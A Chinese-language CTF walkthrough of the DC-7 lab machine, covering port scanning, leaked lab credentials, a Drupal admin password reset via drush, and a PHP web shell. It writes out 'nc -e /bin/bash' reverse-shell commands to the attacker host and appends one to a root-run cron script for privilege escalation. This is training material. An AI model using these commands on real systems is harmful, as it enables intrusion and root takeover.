目录
本期做一下DC7靶场
1、靶场IP
172.16.100.62
2、nmap探测开放端口及服务
nmap -sT -sV -A -p- --min-rate 2000 172.16.100.62
探测到开放了80端口-http服务,22端口-ssh服务
3、浏览器访问
提示说我们需要跳出框架思考,使用暴力破解和字典攻击可能不会成功,通过wappalyzer得知cms是drupal8
4、dirsearch,dirb扫描文件和目录
dirsearch -u http://172.16.100.62
没有特别发现,但是通过观察页面发现dc7页面左下角有一个@DC7USER
?尝试使用搜索引擎进行搜索,发现在github上有关于这个的信息,点进去之后发现staffdb
通过查看里面的敏感文件config.php中看到有登录的用户名和密码
username = "dc7user";
password = "MdR3xOgB7#dW";
至此我们就获取到了 用户名和密码
成功登录到dc7user,看到当前目录下有一个mbox的文件,查看一下
发现是个任务执行计划,发现root用户执行了backups.sh脚本,打开backups.sh文件发现里面有个drush命令
drush命令是drupal框架用来做一些配置的命令,可以用来修改用户名和密码
drush user-password admin --password="123456"
到/var/www/html目录下进行修改密码
修改成功后后台登陆
然后在content下看到有个add content,点进去再进入basic page
此时发现drupal8不支持php代码,但我们发现该页面中有个extend扩展模块,应该是可以导入php模块的, extend下点击install new module,然后根据提示写入php的安装脚本页面
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
安装完成之后激活这个模块,激活之后选中点击install
安装成功之后回到basic page写入一句话木马
蚁剑连接
连接成功之后进行反弹shell的操作,打开蚁剑虚拟终端
kali终端中监听8088端口
nc -lvvp 8088
然后在蚁剑虚拟终端输入
nc -e /bin/bash 172.16.100.60 8088
反弹后输入
python -c "import pty;pty.spawn('/bin/bash')"
进入交互式shell
反弹shell完成
提权想到之前那个在/opt/scripts目录下的backups.sh脚本文件所属者是root,所属组是www-data,而当前用户正是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell。
kali再监听一个端口
nc -lvvp 8089
之后将反弹shell写入脚本
echo "nc -e /bin/bash 172.16.100.60 8089" >> /opt/scripts/backups.sh
由邮件内容中发送的时间可知这个sh文件每隔15分钟会执行一次,耐心等待一会,获得root权限,进入root目录下得到flag
至此就成功拿下这台靶机。